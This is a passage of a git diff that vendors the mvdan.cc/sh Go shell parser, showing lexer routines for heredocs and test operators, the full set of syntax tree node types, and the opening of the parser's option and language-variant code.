r != utf8.RuneSelf; r = p.rune() { + switch r { + case '"': + break loop + case '\\': // escaped byte follows + p.rune() + case escNewl, '`', '$': + tok = _Lit + break loop + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitHdoc(r rune) { + // Unlike the rest of nextKeepSpaces quote states, we handle escaped + // newlines here. If lastTok==_Lit, then we know we're following an + // escaped newline, so the first line can't end the heredoc. + lastTok := p.tok + for r == escNewl { + r = p.rune() + lastTok = _Lit + } + p.pos = p.nextPos() + + p.tok = _Lit + p.newLit(r) + if p.quote == hdocBodyTabs { + for r == '\t' { + r = p.rune() + } + } + lStart := len(p.litBs) - 1 + stop := p.hdocStops[len(p.hdocStops)-1] + for ; ; r = p.rune() { + switch r { + case escNewl, '$': + p.val = p.endLit() + return + case '\\': // escaped byte follows + p.rune() + case '`': + if !p.backquoteEnd() { + p.val = p.endLit() + return + } + fallthrough + case '\n', utf8.RuneSelf: + if p.parsingDoc { + if r == utf8.RuneSelf { + p.tok = _LitWord + p.val = p.endLit() + return + } + } else if lStart == 0 && lastTok == _Lit { + // This line starts right after an escaped + // newline, so it should never end the heredoc. + } else if lStart >= 0 { + // Compare the current line with the stop word. + line := p.litBs[lStart:] + if r != utf8.RuneSelf && len(line) > 0 { + line = line[:len(line)-1] // minus trailing character + } + if bytes.Equal(line, stop) { + p.tok = _LitWord + p.val = p.endLit()[:lStart] + if p.val == "" { + p.tok = _Newl + } + p.hdocStops[len(p.hdocStops)-1] = nil + return + } + } + if r != '\n' { + return // hit an unexpected EOF or closing backquote + } + if p.quote == hdocBodyTabs { + for p.peekByte('\t') { + p.rune() + } + } + lStart = len(p.litBs) + } + } +} + +func (p *Parser) quotedHdocWord() *Word { + r := p.r + p.newLit(r) + pos := p.nextPos() + stop := p.hdocStops[len(p.hdocStops)-1] + for ; ; r = p.rune() { + if r == utf8.RuneSelf { + return nil + } + if p.quote == hdocBodyTabs { + for r == '\t' { + r = p.rune() + } + } + lStart := len(p.litBs) - 1 + runeLoop: + for { + switch r { + case utf8.RuneSelf, '\n': + break runeLoop + case '`': + if p.backquoteEnd() { + break runeLoop + } + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + break runeLoop + } + r = p.rune() + } + if lStart < 0 { + continue + } + // Compare the current line with the stop word. + line := p.litBs[lStart:] + if r != utf8.RuneSelf && len(line) > 0 { + line = line[:len(line)-1] // minus \n + } + if bytes.Equal(line, stop) { + p.hdocStops[len(p.hdocStops)-1] = nil + val := p.endLit()[:lStart] + if val == "" { + return nil + } + return p.wordOne(p.lit(pos, val)) + } + } +} + +func (p *Parser) advanceLitRe(r rune) { + for p.newLit(r); ; r = p.rune() { + switch r { + case '\\': + p.rune() + case '(': + p.rxOpenParens++ + case ')': + if p.rxOpenParens--; p.rxOpenParens < 0 { + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + case ' ', '\t', '\r', '\n', ';', '&', '>', '<': + if p.rxOpenParens <= 0 { + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + case '"', '\'', '$', '`': + p.tok, p.val = _Lit, p.endLit() + return + case utf8.RuneSelf: + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + } +} + +func testUnaryOp(val string) UnTestOperator { + switch val { + case "!": + return TsNot + case "-e", "-a": + return TsExists + case "-f": + return TsRegFile + case "-d": + return TsDirect + case "-c": + return TsCharSp + case "-b": + return TsBlckSp + case "-p": + return TsNmPipe + case "-S": + return TsSocket + case "-L", "-h": + return TsSmbLink + case "-k": + return TsSticky + case "-g": + return TsGIDSet + case "-u": + return TsUIDSet + case "-G": + return TsGrpOwn + case "-O": + return TsUsrOwn + case "-N": + return TsModif + case "-r": + return TsRead + case "-w": + return TsWrite + case "-x": + return TsExec + case "-s": + return TsNoEmpty + case "-t": + return TsFdTerm + case "-z": + return TsEmpStr + case "-n": + return TsNempStr + case "-o": + return TsOptSet + case "-v": + return TsVarSet + case "-R": + return TsRefVar + default: + return 0 + } +} + +func testBinaryOp(val string) BinTestOperator { + switch val { + case "=": + return TsMatchShort + case "==": + return TsMatch + case "!=": + return TsNoMatch + case "=~": + return TsReMatch + case "-nt": + return TsNewer + case "-ot": + return TsOlder + case "-ef": + return TsDevIno + case "-eq": + return TsEql + case "-ne": + return TsNeq + case "-le": + return TsLeq + case "-ge": + return TsGeq + case "-lt": + return TsLss + case "-gt": + return TsGtr + default: + return 0 + } +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/nodes.go b/vendor/mvdan.cc/sh/v3/syntax/nodes.go new file mode 100644 index 0000000000..88eb7feab5 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/nodes.go @@ -0,0 +1,953 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "strconv" + "strings" +) + +// Node represents a syntax tree node. +type Node interface { + // Pos returns the position of the first character of the node. Comments + // are ignored, except if the node is a *File. + Pos() Pos + // End returns the position of the character immediately after the node. + // If the character is a newline, the line number won't cross into the + // next line. Comments are ignored, except if the node is a *File. + End() Pos +} + +// File represents a shell source file. +type File struct { + Name string + + Stmts []*Stmt + Last []Comment +} + +func (f *File) Pos() Pos { return stmtsPos(f.Stmts, f.Last) } +func (f *File) End() Pos { return stmtsEnd(f.Stmts, f.Last) } + +func stmtsPos(stmts []*Stmt, last []Comment) Pos { + if len(stmts) > 0 { + s := stmts[0] + sPos := s.Pos() + if len(s.Comments) > 0 { + if cPos := s.Comments[0].Pos(); sPos.After(cPos) { + return cPos + } + } + return sPos + } + if len(last) > 0 { + return last[0].Pos() + } + return Pos{} +} + +func stmtsEnd(stmts []*Stmt, last []Comment) Pos { + if len(last) > 0 { + return last[len(last)-1].End() + } + if len(stmts) > 0 { + s := stmts[len(stmts)-1] + sEnd := s.End() + if len(s.Comments) > 0 { + if cEnd := s.Comments[0].End(); cEnd.After(sEnd) { + return cEnd + } + } + return sEnd + } + return Pos{} +} + +// Pos is a position within a shell source file. +type Pos struct { + offs, lineCol uint32 +} + +// We used to split line and column numbers evenly in 16 bits, but line numbers +// are significantly more important in practice. Use more bits for them. +const ( + lineBitSize = 18 + lineMax = (1 << lineBitSize) - 1 + + colBitSize = 32 - lineBitSize + colMax = (1 << colBitSize) - 1 + colBitMask = colMax +) + +// TODO(v4): consider using uint32 for Offset/Line/Col to better represent bit sizes. +// Or go with int64, which more closely resembles portable "sizes" elsewhere. +// The latter is probably nicest, as then we can change the number of internal +// bits later, and we can also do overflow checks for the user in NewPos. + +// NewPos creates a position with the given offset, line, and column. +// +// Note that Pos uses a limited number of bits to store these numbers. +// If line or column overflow their allocated space, they are replaced with 0. +func NewPos(offset, line, column uint) Pos { + if line > lineMax { + line = 0 // protect against overflows; rendered as "?" + } + if column > colMax { + column = 0 // protect against overflows; rendered as "?" + } + return Pos{ + offs: uint32(offset), + lineCol: (uint32(line) << colBitSize) | uint32(column), + } +} + +// Offset returns the byte offset of the position in the original source file. +// Byte offsets start at 0. +// +// Note that Offset is not protected against overflows; +// if an input is larger than 4GiB, the offset will wrap around to 0. +func (p Pos) Offset() uint { return uint(p.offs) } + +// Line returns the line number of the position, starting at 1. +// +// Line is protected against overflows; if an input has too many lines, extra +// lines will have a line number of 0, rendered as "?" by [Pos.String]. +func (p Pos) Line() uint { return uint(p.lineCol >> colBitSize) } + +// Col returns the column number of the position, starting at 1. It counts in +// bytes. +// +// Col is protected against overflows; if an input line has too many columns, +// extra columns will have a column number of 0, rendered as "?" by [Pos.String]. +func (p Pos) Col() uint { return uint(p.lineCol & colBitMask) } + +func (p Pos) String() string { + var b strings.Builder + if line := p.Line(); line > 0 { + b.WriteString(strconv.FormatUint(uint64(line), 10)) + } else { + b.WriteByte('?') + } + b.WriteByte(':') + if col := p.Col(); col > 0 { + b.WriteString(strconv.FormatUint(uint64(col), 10)) + } else { + b.WriteByte('?') + } + return b.String() +} + +// IsValid reports whether the position contains useful position information. +// Some positions returned via [Parse] may be invalid: for example, [Stmt.Semicolon] +// will only be valid if a statement contained a closing token such as ';'. +func (p Pos) IsValid() bool { return p != Pos{} } + +// After reports whether the position p is after p2. It is a more expressive +// version of p.Offset() > p2.Offset(). +func (p Pos) After(p2 Pos) bool { return p.offs > p2.offs } + +func posAddCol(p Pos, n int) Pos { + // TODO: guard against overflows + p.lineCol += uint32(n) + p.offs += uint32(n) + return p +} + +func posMax(p1, p2 Pos) Pos { + if p2.After(p1) { + return p2 + } + return p1 +} + +// Comment represents a single comment on a single line. +type Comment struct { + Hash Pos + Text string +} + +func (c *Comment) Pos() Pos { return c.Hash } +func (c *Comment) End() Pos { return posAddCol(c.Hash, 1+len(c.Text)) } + +// Stmt represents a statement, also known as a "complete command". It is +// compromised of a command and other components that may come before or after +// it. +type Stmt struct { + Comments []Comment + Cmd Command + Position Pos + Semicolon Pos // position of ';', '&', or '|&', if any + Negated bool // ! stmt + Background bool // stmt & + Coprocess bool // mksh's |& + + Redirs []*Redirect // stmt >a 0 { + end = posMax(end, s.Redirs[len(s.Redirs)-1].End()) + } + return end +} + +// Command represents all nodes that are simple or compound commands, including +// function declarations. +// +// These are *CallExpr, *IfClause, *WhileClause, *ForClause, *CaseClause, +// *Block, *Subshell, *BinaryCmd, *FuncDecl, *ArithmCmd, *TestClause, +// *DeclClause, *LetClause, *TimeClause, and *CoprocClause. +type Command interface { + Node + commandNode() +} + +func (*CallExpr) commandNode() {} +func (*IfClause) commandNode() {} +func (*WhileClause) commandNode() {} +func (*ForClause) commandNode() {} +func (*CaseClause) commandNode() {} +func (*Block) commandNode() {} +func (*Subshell) commandNode() {} +func (*BinaryCmd) commandNode() {} +func (*FuncDecl) commandNode() {} +func (*ArithmCmd) commandNode() {} +func (*TestClause) commandNode() {} +func (*DeclClause) commandNode() {} +func (*LetClause) commandNode() {} +func (*TimeClause) commandNode() {} +func (*CoprocClause) commandNode() {} +func (*TestDecl) commandNode() {} + +// Assign represents an assignment to a variable. +// +// Here and elsewhere, Index can mean either an index expression into an indexed +// array, or a string key into an associative array. +// +// If Index is non-nil, the value will be a word and not an array as nested +// arrays are not allowed. +// +// If Naked is true and Name is nil, the assignment is part of a DeclClause and +// the argument (in the Value field) will be evaluated at run-time. This +// includes parameter expansions, which may expand to assignments or options. +type Assign struct { + Append bool // += + Naked bool // without '=' + Name *Lit // must be a valid name + Index ArithmExpr // [i], ["k"] + Value *Word // =val + Array *ArrayExpr // =(arr) +} + +func (a *Assign) Pos() Pos { + if a.Name == nil { + return a.Value.Pos() + } + return a.Name.Pos() +} + +func (a *Assign) End() Pos { + if a.Value != nil { + return a.Value.End() + } + if a.Array != nil { + return a.Array.End() + } + if a.Index != nil { + return posAddCol(a.Index.End(), 2) + } + if a.Naked { + return a.Name.End() + } + return posAddCol(a.Name.End(), 1) +} + +// Redirect represents an input/output redirection. +type Redirect struct { + OpPos Pos + Op RedirOperator + N *Lit // fd>, or {varname}> in Bash + Word *Word // >word + Hdoc *Word // here-document body +} + +func (r *Redirect) Pos() Pos { + if r.N != nil { + return r.N.Pos() + } + return r.OpPos +} + +func (r *Redirect) End() Pos { + if r.Hdoc != nil { + return r.Hdoc.End() + } + return r.Word.End() +} + +// CallExpr represents a command execution or function call, otherwise known as +// a "simple command". +// +// If Args is empty, Assigns apply to the shell environment. Otherwise, they are +// variables that cannot be arrays and which only apply to the call. +type CallExpr struct { + Assigns []*Assign // a=x b=y args + Args []*Word +} + +func (c *CallExpr) Pos() Pos { + if len(c.Assigns) > 0 { + return c.Assigns[0].Pos() + } + return c.Args[0].Pos() +} + +func (c *CallExpr) End() Pos { + if len(c.Args) == 0 { + return c.Assigns[len(c.Assigns)-1].End() + } + return c.Args[len(c.Args)-1].End() +} + +// Subshell represents a series of commands that should be executed in a nested +// shell environment. +type Subshell struct { + Lparen, Rparen Pos + + Stmts []*Stmt + Last []Comment +} + +func (s *Subshell) Pos() Pos { return s.Lparen } +func (s *Subshell) End() Pos { return posAddCol(s.Rparen, 1) } + +// Block represents a series of commands that should be executed in a nested +// scope. It is essentially a list of statements within curly braces. +type Block struct { + Lbrace, Rbrace Pos + + Stmts []*Stmt + Last []Comment +} + +func (b *Block) Pos() Pos { return b.Lbrace } +func (b *Block) End() Pos { return posAddCol(b.Rbrace, 1) } + +// IfClause represents an if statement. +type IfClause struct { + Position Pos // position of the starting "if", "elif", or "else" token + ThenPos Pos // position of "then", empty if this is an "else" + FiPos Pos // position of "fi", shared with .Else if non-nil + + Cond []*Stmt + CondLast []Comment + Then []*Stmt + ThenLast []Comment + + Else *IfClause // if non-nil, an "elif" or an "else" + + Last []Comment // comments on the first "elif", "else", or "fi" +} + +func (c *IfClause) Pos() Pos { return c.Position } +func (c *IfClause) End() Pos { return posAddCol(c.FiPos, 2) } + +// WhileClause represents a while or an until clause. +type WhileClause struct { + WhilePos, DoPos, DonePos Pos + Until bool + + Cond []*Stmt + CondLast []Comment + Do []*Stmt + DoLast []Comment +} + +func (w *WhileClause) Pos() Pos { return w.WhilePos } +func (w *WhileClause) End() Pos { return posAddCol(w.DonePos, 4) } + +// ForClause represents a for or a select clause. The latter is only present in +// Bash. +type ForClause struct { + ForPos, DoPos, DonePos Pos + Select bool + Braces bool // deprecated form with { } instead of do/done + Loop Loop + + Do []*Stmt + DoLast []Comment +} + +func (f *ForClause) Pos() Pos { return f.ForPos } +func (f *ForClause) End() Pos { return posAddCol(f.DonePos, 4) } + +// Loop holds either *WordIter or *CStyleLoop. +type Loop interface { + Node + loopNode() +} + +func (*WordIter) loopNode() {} +func (*CStyleLoop) loopNode() {} + +// WordIter represents the iteration of a variable over a series of words in a +// for clause. If InPos is an invalid position, the "in" token was missing, so +// the iteration is over the shell's positional parameters. +type WordIter struct { + Name *Lit + InPos Pos // position of "in" + Items []*Word +} + +func (w *WordIter) Pos() Pos { return w.Name.Pos() } +func (w *WordIter) End() Pos { + if len(w.Items) > 0 { + return wordLastEnd(w.Items) + } + return posMax(w.Name.End(), posAddCol(w.InPos, 2)) +} + +// CStyleLoop represents the behavior of a for clause similar to the C +// language. +// +// This node will only appear with LangBash. +type CStyleLoop struct { + Lparen, Rparen Pos + // Init, Cond, Post can each be nil, if the for loop construct omits it. + Init, Cond, Post ArithmExpr +} + +func (c *CStyleLoop) Pos() Pos { return c.Lparen } +func (c *CStyleLoop) End() Pos { return posAddCol(c.Rparen, 2) } + +// BinaryCmd represents a binary expression between two statements. +type BinaryCmd struct { + OpPos Pos + Op BinCmdOperator + X, Y *Stmt +} + +func (b *BinaryCmd) Pos() Pos { return b.X.Pos() } +func (b *BinaryCmd) End() Pos { return b.Y.End() } + +// FuncDecl represents the declaration of a function. +type FuncDecl struct { + Position Pos + RsrvWord bool // non-posix "function f" style + Parens bool // with () parentheses, only meaningful with RsrvWord=true + Name *Lit + Body *Stmt +} + +func (f *FuncDecl) Pos() Pos { return f.Position } +func (f *FuncDecl) End() Pos { return f.Body.End() } + +// Word represents a shell word, containing one or more word parts contiguous to +// each other. The word is delimited by word boundaries, such as spaces, +// newlines, semicolons, or parentheses. +type Word struct { + Parts []WordPart +} + +func (w *Word) Pos() Pos { return w.Parts[0].Pos() } +func (w *Word) End() Pos { return w.Parts[len(w.Parts)-1].End() } + +// Lit returns the word as a literal value, if the word consists of *Lit nodes +// only. An empty string is returned otherwise. Words with multiple literals, +// which can appear in some edge cases, are handled properly. +// +// For example, the word "foo" will return "foo", but the word "foo${bar}" will +// return "". +func (w *Word) Lit() string { + // In the usual case, we'll have either a single part that's a literal, + // or one of the parts being a non-literal. Using strings.Join instead + // of a strings.Builder avoids extra work in these cases, since a single + // part is a shortcut, and many parts don't incur string copies. + lits := make([]string, 0, 1) + for _, part := range w.Parts { + lit, ok := part.(*Lit) + if !ok { + return "" + } + lits = append(lits, lit.Value) + } + return strings.Join(lits, "") +} + +// WordPart represents all nodes that can form part of a word. +// +// These are *Lit, *SglQuoted, *DblQuoted, *ParamExp, *CmdSubst, *ArithmExp, +// *ProcSubst, and *ExtGlob. +type WordPart interface { + Node + wordPartNode() +} + +func (*Lit) wordPartNode() {} +func (*SglQuoted) wordPartNode() {} +func (*DblQuoted) wordPartNode() {} +func (*ParamExp) wordPartNode() {} +func (*CmdSubst) wordPartNode() {} +func (*ArithmExp) wordPartNode() {} +func (*ProcSubst) wordPartNode() {} +func (*ExtGlob) wordPartNode() {} +func (*BraceExp) wordPartNode() {} + +// Lit represents a string literal. +// +// Note that a parsed string literal may not appear as-is in the original source +// code, as it is possible to split literals by escaping newlines. The splitting +// is lost, but the end position is not. +type Lit struct { + ValuePos, ValueEnd Pos + Value string +} + +func (l *Lit) Pos() Pos { return l.ValuePos } +func (l *Lit) End() Pos { return l.ValueEnd } + +// SglQuoted represents a string within single quotes. +type SglQuoted struct { + Left, Right Pos + Dollar bool // $'' + Value string +} + +func (q *SglQuoted) Pos() Pos { return q.Left } +func (q *SglQuoted) End() Pos { return posAddCol(q.Right, 1) } + +// DblQuoted represents a list of nodes within double quotes. +type DblQuoted struct { + Left, Right Pos + Dollar bool // $"" + Parts []WordPart +} + +func (q *DblQuoted) Pos() Pos { return q.Left } +func (q *DblQuoted) End() Pos { return posAddCol(q.Right, 1) } + +// CmdSubst represents a command substitution. +type CmdSubst struct { + Left, Right Pos + + Stmts []*Stmt + Last []Comment + + Backquotes bool // deprecated `foo` + TempFile bool // mksh's ${ foo;} + ReplyVar bool // mksh's ${|foo;} +} + +func (c *CmdSubst) Pos() Pos { return c.Left } +func (c *CmdSubst) End() Pos { return posAddCol(c.Right, 1) } + +// ParamExp represents a parameter expansion. +type ParamExp struct { + Dollar, Rbrace Pos + + Short bool // $a instead of ${a} + Excl bool // ${!a} + Length bool // ${#a} + Width bool // ${%a} + Param *Lit + Index ArithmExpr // ${a[i]}, ${a["k"]} + Slice *Slice // ${a:x:y} + Repl *Replace // ${a/x/y} + Names ParNamesOperator // ${!prefix*} or ${!prefix@} + Exp *Expansion // ${a:-b}, ${a#b}, etc +} + +func (p *ParamExp) Pos() Pos { return p.Dollar } +func (p *ParamExp) End() Pos { + if !p.Short { + return posAddCol(p.Rbrace, 1) + } + if p.Index != nil { + return posAddCol(p.Index.End(), 1) + } + return p.Param.End() +} + +func (p *ParamExp) nakedIndex() bool { + return p.Short && p.Index != nil +} + +// Slice represents a character slicing expression inside a ParamExp. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type Slice struct { + Offset, Length ArithmExpr +} + +// Replace represents a search and replace expression inside a ParamExp. +type Replace struct { + All bool + Orig, With *Word +} + +// Expansion represents string manipulation in a ParamExp other than those +// covered by Replace. +type Expansion struct { + Op ParExpOperator + Word *Word +} + +// ArithmExp represents an arithmetic expansion. +type ArithmExp struct { + Left, Right Pos + Bracket bool // deprecated $[expr] form + Unsigned bool // mksh's $((# expr)) + + X ArithmExpr +} + +func (a *ArithmExp) Pos() Pos { return a.Left } +func (a *ArithmExp) End() Pos { + if a.Bracket { + return posAddCol(a.Right, 1) + } + return posAddCol(a.Right, 2) +} + +// ArithmCmd represents an arithmetic command. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type ArithmCmd struct { + Left, Right Pos + Unsigned bool // mksh's ((# expr)) + + X ArithmExpr +} + +func (a *ArithmCmd) Pos() Pos { return a.Left } +func (a *ArithmCmd) End() Pos { return posAddCol(a.Right, 2) } + +// ArithmExpr represents all nodes that form arithmetic expressions. +// +// These are *BinaryArithm, *UnaryArithm, *ParenArithm, and *Word. +type ArithmExpr interface { + Node + arithmExprNode() +} + +func (*BinaryArithm) arithmExprNode() {} +func (*UnaryArithm) arithmExprNode() {} +func (*ParenArithm) arithmExprNode() {} +func (*Word) arithmExprNode() {} + +// BinaryArithm represents a binary arithmetic expression. +// +// If Op is any assign operator, X will be a word with a single *Lit whose value +// is a valid name. +// +// Ternary operators like "a ? b : c" are fit into this structure. Thus, if +// Op==TernQuest, Y will be a *BinaryArithm with Op==TernColon. Op can only be +// TernColon in that scenario. +type BinaryArithm struct { + OpPos Pos + Op BinAritOperator + X, Y ArithmExpr +} + +func (b *BinaryArithm) Pos() Pos { return b.X.Pos() } +func (b *BinaryArithm) End() Pos { return b.Y.End() } + +// UnaryArithm represents an unary arithmetic expression. The unary operator +// may come before or after the sub-expression. +// +// If Op is Inc or Dec, X will be a word with a single *Lit whose value is a +// valid name. +type UnaryArithm struct { + OpPos Pos + Op UnAritOperator + Post bool + X ArithmExpr +} + +func (u *UnaryArithm) Pos() Pos { + if u.Post { + return u.X.Pos() + } + return u.OpPos +} + +func (u *UnaryArithm) End() Pos { + if u.Post { + return posAddCol(u.OpPos, 2) + } + return u.X.End() +} + +// ParenArithm represents an arithmetic expression within parentheses. +type ParenArithm struct { + Lparen, Rparen Pos + + X ArithmExpr +} + +func (p *ParenArithm) Pos() Pos { return p.Lparen } +func (p *ParenArithm) End() Pos { return posAddCol(p.Rparen, 1) } + +// CaseClause represents a case (switch) clause. +type CaseClause struct { + Case, In, Esac Pos + Braces bool // deprecated mksh form with braces instead of in/esac + + Word *Word + Items []*CaseItem + Last []Comment +} + +func (c *CaseClause) Pos() Pos { return c.Case } +func (c *CaseClause) End() Pos { return posAddCol(c.Esac, 4) } + +// CaseItem represents a pattern list (case) within a CaseClause. +type CaseItem struct { + Op CaseOperator + OpPos Pos // unset if it was finished by "esac" + Comments []Comment + Patterns []*Word + + Stmts []*Stmt + Last []Comment +} + +func (c *CaseItem) Pos() Pos { return c.Patterns[0].Pos() } +func (c *CaseItem) End() Pos { + if c.OpPos.IsValid() { + return posAddCol(c.OpPos, len(c.Op.String())) + } + return stmtsEnd(c.Stmts, c.Last) +} + +// TestClause represents a Bash extended test clause. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type TestClause struct { + Left, Right Pos + + X TestExpr +} + +func (t *TestClause) Pos() Pos { return t.Left } +func (t *TestClause) End() Pos { return posAddCol(t.Right, 2) } + +// TestExpr represents all nodes that form test expressions. +// +// These are *BinaryTest, *UnaryTest, *ParenTest, and *Word. +type TestExpr interface { + Node + testExprNode() +} + +func (*BinaryTest) testExprNode() {} +func (*UnaryTest) testExprNode() {} +func (*ParenTest) testExprNode() {} +func (*Word) testExprNode() {} + +// BinaryTest represents a binary test expression. +type BinaryTest struct { + OpPos Pos + Op BinTestOperator + X, Y TestExpr +} + +func (b *BinaryTest) Pos() Pos { return b.X.Pos() } +func (b *BinaryTest) End() Pos { return b.Y.End() } + +// UnaryTest represents a unary test expression. The unary operator may come +// before or after the sub-expression. +type UnaryTest struct { + OpPos Pos + Op UnTestOperator + X TestExpr +} + +func (u *UnaryTest) Pos() Pos { return u.OpPos } +func (u *UnaryTest) End() Pos { return u.X.End() } + +// ParenTest represents a test expression within parentheses. +type ParenTest struct { + Lparen, Rparen Pos + + X TestExpr +} + +func (p *ParenTest) Pos() Pos { return p.Lparen } +func (p *ParenTest) End() Pos { return posAddCol(p.Rparen, 1) } + +// DeclClause represents a Bash declare clause. +// +// Args can contain a mix of regular and naked assignments. The naked +// assignments can represent either options or variable names. +// +// This node will only appear with LangBash. +type DeclClause struct { + // Variant is one of "declare", "local", "export", "readonly", + // "typeset", or "nameref". + Variant *Lit + Args []*Assign +} + +func (d *DeclClause) Pos() Pos { return d.Variant.Pos() } +func (d *DeclClause) End() Pos { + if len(d.Args) > 0 { + return d.Args[len(d.Args)-1].End() + } + return d.Variant.End() +} + +// ArrayExpr represents a Bash array expression. +// +// This node will only appear with LangBash. +type ArrayExpr struct { + Lparen, Rparen Pos + + Elems []*ArrayElem + Last []Comment +} + +func (a *ArrayExpr) Pos() Pos { return a.Lparen } +func (a *ArrayExpr) End() Pos { return posAddCol(a.Rparen, 1) } + +// ArrayElem represents a Bash array element. +// +// Index can be nil; for example, declare -a x=(value). +// Value can be nil; for example, declare -A x=([index]=). +// Finally, neither can be nil; for example, declare -A x=([index]=value) +type ArrayElem struct { + Index ArithmExpr + Value *Word + Comments []Comment +} + +func (a *ArrayElem) Pos() Pos { + if a.Index != nil { + return a.Index.Pos() + } + return a.Value.Pos() +} + +func (a *ArrayElem) End() Pos { + if a.Value != nil { + return a.Value.End() + } + return posAddCol(a.Index.Pos(), 1) +} + +// ExtGlob represents a Bash extended globbing expression. Note that these are +// parsed independently of whether shopt has been called or not. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type ExtGlob struct { + OpPos Pos + Op GlobOperator + Pattern *Lit +} + +func (e *ExtGlob) Pos() Pos { return e.OpPos } +func (e *ExtGlob) End() Pos { return posAddCol(e.Pattern.End(), 1) } + +// ProcSubst represents a Bash process substitution. +// +// This node will only appear with LangBash. +type ProcSubst struct { + OpPos, Rparen Pos + Op ProcOperator + + Stmts []*Stmt + Last []Comment +} + +func (s *ProcSubst) Pos() Pos { return s.OpPos } +func (s *ProcSubst) End() Pos { return posAddCol(s.Rparen, 1) } + +// TimeClause represents a Bash time clause. PosixFormat corresponds to the -p +// flag. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type TimeClause struct { + Time Pos + PosixFormat bool + Stmt *Stmt +} + +func (c *TimeClause) Pos() Pos { return c.Time } +func (c *TimeClause) End() Pos { + if c.Stmt == nil { + return posAddCol(c.Time, 4) + } + return c.Stmt.End() +} + +// CoprocClause represents a Bash coproc clause. +// +// This node will only appear with LangBash. +type CoprocClause struct { + Coproc Pos + Name *Word + Stmt *Stmt +} + +func (c *CoprocClause) Pos() Pos { return c.Coproc } +func (c *CoprocClause) End() Pos { return c.Stmt.End() } + +// LetClause represents a Bash let clause. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type LetClause struct { + Let Pos + Exprs []ArithmExpr +} + +func (l *LetClause) Pos() Pos { return l.Let } +func (l *LetClause) End() Pos { return l.Exprs[len(l.Exprs)-1].End() } + +// BraceExp represents a Bash brace expression, such as "{a,f}" or "{1..10}". +// +// This node will only appear as a result of SplitBraces. +type BraceExp struct { + Sequence bool // {x..y[..incr]} instead of {x,y[,...]} + Elems []*Word +} + +func (b *BraceExp) Pos() Pos { + return posAddCol(b.Elems[0].Pos(), -1) +} + +func (b *BraceExp) End() Pos { + return posAddCol(wordLastEnd(b.Elems), 1) +} + +// TestDecl represents the declaration of a Bats test function. +type TestDecl struct { + Position Pos + Description *Word + Body *Stmt +} + +func (f *TestDecl) Pos() Pos { return f.Position } +func (f *TestDecl) End() Pos { return f.Body.End() } + +func wordLastEnd(ws []*Word) Pos { + if len(ws) == 0 { + return Pos{} + } + return ws[len(ws)-1].End() +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser.go b/vendor/mvdan.cc/sh/v3/syntax/parser.go new file mode 100644 index 0000000000..99ae17c21a --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/parser.go @@ -0,0 +1,2489 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bytes" + "fmt" + "io" + "strconv" + "strings" + "unicode/utf8" +) + +// ParserOption is a function which can be passed to NewParser +// to alter its behavior. To apply option to existing Parser +// call it directly, for example KeepComments(true)(parser). +type ParserOption func(*Parser) + +// KeepComments makes the parser parse comments and attach them to +// nodes, as opposed to discarding them. +func KeepComments(enabled bool) ParserOption { + return func(p *Parser) { p.keepComments = enabled } +} + +// LangVariant describes a shell language variant to use when tokenizing and +// parsing shell code. The zero value is LangBash. +type LangVariant int + +const ( + // LangBash corresponds to the GNU Bash language, as described in its + // manual at https://www.gnu.org/software/bash/manual/bash.html. + // + // We currently follow Bash version 5.1. + // + // Its string representation is "bash". + LangBash LangVariant = iota + + // LangPOSIX corresponds to the POSIX Shell language, as described at + // https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html. + // + // Its string representation is "posix" or "sh". + LangPOSIX + + // LangMirBSDKorn corresponds to the MirBSD Korn Shell, also known as + // mksh, as described at http://www.mirbsd.org/htman/i386/man1/mksh.htm. + // Note that it shares some features with Bash, due to the the shared + // ancestry that is ksh. + // + // We currently follow mksh version 59. + // + // Its string representation is "mksh". + LangMirBSDKorn + + // LangBats corresponds to the Bash Automated Testing System language, + // as described at https://github.com/bats-core/bats-core. Note that + // it's just a small extension of the Bash language. + // + // Its string representation is "bats". + LangBats + + // LangAuto corresponds to automatic language detection, + // commonly used by end-user applications like shfmt, + // which can guess a file's language variant given its filename or shebang. + // + // At this time, the Parser does not support LangAuto. + LangAuto +) + +// Variant changes the shell language variant that the parser will +// accept. +// +// The passed language variant must be one of the constant values defined in +// this package. +func Variant(l LangVariant) ParserOption { + switch l { + case LangBash, LangPOSIX, LangMirBSDKorn, LangBats: + case LangAuto: + panic("LangAuto is not supported by the parser at this time") + default: + panic(fmt.Sprintf("unknown shell language variant: %d", l)) + } + return func(p *Parser) { p.lang = l } +} + +func (l LangVariant) String() string { + switch l { + case LangBash: + return "bash" + case LangPOSIX: + return "posix" + case LangMirBSDKorn: + return "mksh" + case LangBats: + return "bats" + case LangAuto: + return "auto" + } + return "unknown shell language variant" +} + +func (l *LangVariant) Set(s string) error { + switch s { + case "bash": + *l = LangBash + case "posix", "sh": + *l = LangPOSIX + case "mksh": + *l = LangMirBSDKorn + case "bats": + *l = LangBats + case "auto": + *l = LangAuto + default: + return fmt.Errorf("unknown shell language variant: %q", s) + } + return nil +} + +func (l LangVariant) isBash() bool { + return l == LangBash || l == LangBats +} + +// StopAt configures the lexer to stop at an arbitrary word, treating it +// as if it were the end of the input. It can contain any characters +// except whitespace, and cannot be over four bytes in size. +// +// This can be useful to embed shell code within another language, as +// one can use a special word to mark the delimiters between the two. +// +// As a word, it will only apply when following whitespace or a +// separating token. For example, StopAt("$$") will act on the inputs +// "foo $$" and "foo;$$", but not on "foo '$$'". +// +// The match is done by prefix, so the example above will also act on +// "foo $$bar". +func StopAt(word string) ParserOption { + if len(word) > 4 { + panic("stop 